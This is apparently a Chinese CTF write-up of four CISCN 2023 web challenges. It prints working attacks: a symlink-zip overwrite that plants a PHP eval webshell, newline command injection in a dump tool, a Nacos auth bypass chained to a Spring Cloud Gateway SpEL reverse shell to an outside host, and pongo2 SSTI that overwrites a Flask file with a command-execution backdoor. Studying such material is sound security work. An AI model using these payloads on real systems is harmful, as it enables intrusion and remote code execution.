CISCN2023 部分web

unzip

1
题目内容:unzip很简单,但是同样也很危险

image-20230527122330749

源码

1
2
3
4
5
6
7
8
9
10
 <?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

利用unzip -o的覆盖功能,创建两个压缩包,第一个上传链接到/var/www/html的软链接test,第二次上传一个目录test,test里面有小马。

上传上去就相当于,将test目录中的内容覆盖到/var/www/html,即可getshell

第一个压缩包:

1
2
ln -s /var/www/html test
zip --symlinks test.zip ./*

第二个压缩包:

1
2
3
mkdir test
echo "<?php @eval(\$_GET[0]);?>" > test/s.php
zip -r test1.zip ./*

先上传第一个压缩包,再传第二个

image-20230527123905980

dumpit

1
题目内容:flag in /flag

image-20230528121052315

1
2
3
4
5
6
7
use 
?db=&table_2_query=
or
?db=&table_2_dump=
to view the tables!
etc:
?db=ctf&table_2_query=flag1

前期花费了大量的时间在?db=&table_2_query= 上。。。但是query能查的dump好像都能拿

1
?db=mysql&table_2_dump=

内容:

1
2
3
4
5
6
7
8
-- MariaDB dump 10.19  Distrib 10.5.19-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost Database: mysql
-- ------------------------------------------------------
-- Server version 10.5.19-MariaDB-0+deb11u2

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;

前面给出的应该是工具的名字

1
MariaDB dump

搜索一下mariadb-dump - MariaDB Knowledge Base

image-20230528121510807

可以看到是在shell环境执行的(mysqldump也一样

所以开始想能不能在这里rce。本来是使用分号,但是这里过滤了(回显nop

%0a可以rce

1
2
%0a命令%0a
?db=&table_2_dump=%0acat index.php%0a

直接读根目录flag不行(估计无权限

读环境变量

1
?db=&table_2_dump=%0acat /proc/self/environ%0a

image-20230528122529281

BackendService

1
2
3
4
5
6
7
题目内容:

小明拿到了内网一个老旧服务的应用包,虽然有漏洞但是怎么利用他呢?[注意:平台题目下发后请访问/nacos路由]

(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

[附件下载](https://pan.baidu.com/s/1ZlPZs70up7dceFXzJFcSMw) 提取码(GAME)[备用下载](https://share.weiyun.com/HwNmSrkB)

image-20230528161238346

阿里的一个开源项目nacos,

首先利用CVE-2021-29441拿到权限

/nacos/v1/auth/users

改UA为Nacos-Server

image-20230528161717435

这样就成功了(有些帖子是用GET的,不行

image-20230528164344302

登陆系统后,参考这篇Nacos结合Spring Cloud Gateway RCE利用 - 先知社区 (aliyun.com)

spring cloud rce

一开始以为要本地启服务,但是不用。

它的内网已经启动了服务,那个jar包没找到啥路由,有用的信息只有他的配置

1
2
3
4
5
6
7
8
9
10
spring:
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8888
config:
name: backcfg
file-extension: json
group: DEFAULT_GROUP
server-addr: 127.0.0.1:8888

这里记住name为backcfg,group为DEFAULT_GROUP,

根据文章操作,改写文中的exp反弹shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://service-provider",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/vps<&1'))).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}

上传json格式的exp

上传可能会报错,使用nacos上传配置文件报错 - 挎木剑的游侠儿 - 博客园 (cnblogs.com)

( 压缩算法也会影响,bandzip就不行)

先创建一个DEFAULT_GROUP文件夹,其中的配置文件名为backcfg,内容为exp的。

打包成压缩包,导入

image-20230528164924590

编辑配置文件,将要执行的exp内容换上去,发布,

image-20230528165116126

然后等待触发

image-20230528165234845

上线后直接读flag就行了。

go_session(复现)

踩坑

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))//创建key为session_key的会话存储对象

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name") //从session-name获取session
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil { //如果session-name的name参数内容为空
session.Values["name"] = "guest" //赋值guest
err = session.Save(c.Request, c.Writer) //发送cookie
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

很明显的思路是绕过session,打pongo2的SSTI,pongo2是完全兼容django的,可以用django的SSTI打。

当时光看了源码,下午实在没题出了才回去看go。

后面本地起了环境,试了一下把本地生成的admin cookie换上靶机里,发现居然能通过。。。(因为env里secret_key为空

SSTI payload

1
2
3
4
5
6
7
8
GET /admin?name=%0A%7B%25%20%20for%20obj%2Cv%20%20in%20c.Request.Header%20%25%7D%0A%7B%25%20if%20obj%7Clength%20%3D%3D%201%20%25%7D%0A%7B%7Bobj%7D%7D%0A%7B%7Bv%5B0%5D%7D%7D%0A%7B%25%20include%20v%5B0%5D%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D%0A HTTP/1.1
Host: node1.anna.nssctf.cn:28987
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
u: /app/server.py
Cookie: session-name=MTY4NTE2NjIyNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxMUPYZLIpAEqzpUhq6QOq8H1xraN71DUDhhVao6O6OUw==

这里主要问题是过滤了单双引号,

用的header绕过(这里用的是gin框架的gin.Context.Request),

image-20230530154723390

使用的django的include标签,可实现任意文件读取,但是读不到flag。

然后再看flask路由

/flask?name=

image-20230529211220064

泄露了源码位置/app/server.py

1
2
3
4
5
6
7
8
9
10
from flask import *
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
return name + " no ssti"

if __name__== "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)

后面在这里卡了一个小时,因为一直以为是flask算pin,rce。

算pin的时候出了问题,pin没对。。(第二天重新开了靶机试一下,才发现是靶机的问题

但是pin码就算算对了也不行,也不能rce,flask那个路由传递不了cookie。

复现

赛后看西电大佬的题解做的(感谢!),NSS有上这题,很棒。

原来5000端口的debug开启作用是因为debug模式下检测到文件变动会自动重启服务器(忘了考虑这点。

SSTI可以覆盖/app/server.py文件,从而实现rce。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Get(c.Request.Method)),c.Request.Header.Get(c.Request.Method))}} HTTP/1.1
Host: node1.anna.nssctf.cn:28612
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type:multipart/form-data;boundary=----WebKitFormBoundarypKsmlEi4Sn0IQ8yA
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Cookie:session-name=MTY4NTE2NjIyNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxMUPYZLIpAEqzpUhq6QOq8H1xraN71DUDhhVao6O6OUw==
Connection: close
GET:/app/server.py
Content-Length: 464

------WebKitFormBoundarypKsmlEi4Sn0IQ8yA
Content-Disposition:form-data;name="/app/server.py";filename="server.py"
Content-Type: text/x-python-script

from flask import *
import os
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
result=os.popen(name).read()
return result + " no ssti"

if __name__== "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)

------WebKitFormBoundarypKsmlEi4Sn0IQ8yA--

(注意这里host和port要设置好)保证flask那个路由能访问上,然后就可以rce了

1
/flask?name=/?name=ls%2520%252F

(这里需要二次url编码)

image-20230530143313099

flag在env里

payload解读

在Context中提供了FormFile用于获取上传文件的基本信息,提供了SaveUploadedFile用于实现文件的保存。

从网上copy的一段代码,出处贴在文末

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// ------API 层------
func TestRecFile(engine *gin.Engine) {
// 设置内存限制为8M, 默认是32MiB
engine.MaxMultipartMemory = 8 << 20
engine.POST("/file", func(c *gin.Context) {
`file, err := c.FormFile("img")`
if err != nil {
c.JSON(500, gin.H{"err": err})
return
}
// 文件重命名
dst := "./tmp/"+file.Filename
fmt.Println(dst)
// 保存图片
err = context.SaveUploadedFile(file, dst)
if err != nil {
c.JSON(500, gin.H{"err": "文件保存失败: " + err.Error()})
return
}
c.JSON(200, gin.H{
"msg": "success",
"name": file.Filename,
"size": file.Size,
})
})
}

context.SaveUploadedFile接收两个参数,第一个为文件内容,第二个为上传的文件路径(也就是要覆盖的/app/server.py),代码里的file=c.FormFile(就是用来解析上传的文件的

1
{{c.SaveUploadedFile(c.FormFile(c.Request.Header.Get(c.Request.Method)),c.Request.Header.Get(c.Request.Method))}} 

这段payload也就是将获取到的文件上传表单数据上传到c.Request.Method(设置一个名为GET的header)指定的位置

c.FormFile(‘/app/server.py’)

image-20230530154723377

FormFile第一个参数和表单里的name需要对应,不然就会报错no such file。

这里是为了图方便所以直接复用/app/server.py,而不是必须用这个路径,只需要能在下方表单里找到对应的就行。(可以自己本地去掉waf试一下)

建议自己搭一下环境,也就起一下go和flask两个环境就可以了。

image-20230530154723343

总结

​ 总得来说体验还是不错的,学到了很多东西,就是go_session有点遗憾。此外这次比赛也让我更加相信,开发与安全是密不可分的。

参考

[Go package] Gin 的 context 解析 - 掘金 (juejin.cn)

Django include Tag (w3schools.com)

「Go 框架」深入理解 gin 框中 Context 的 Request 和 Writer 对象 - 掘金 (juejin.cn)

Gin源码分析 (8)- Context之FormFile - 知乎 (zhihu.com)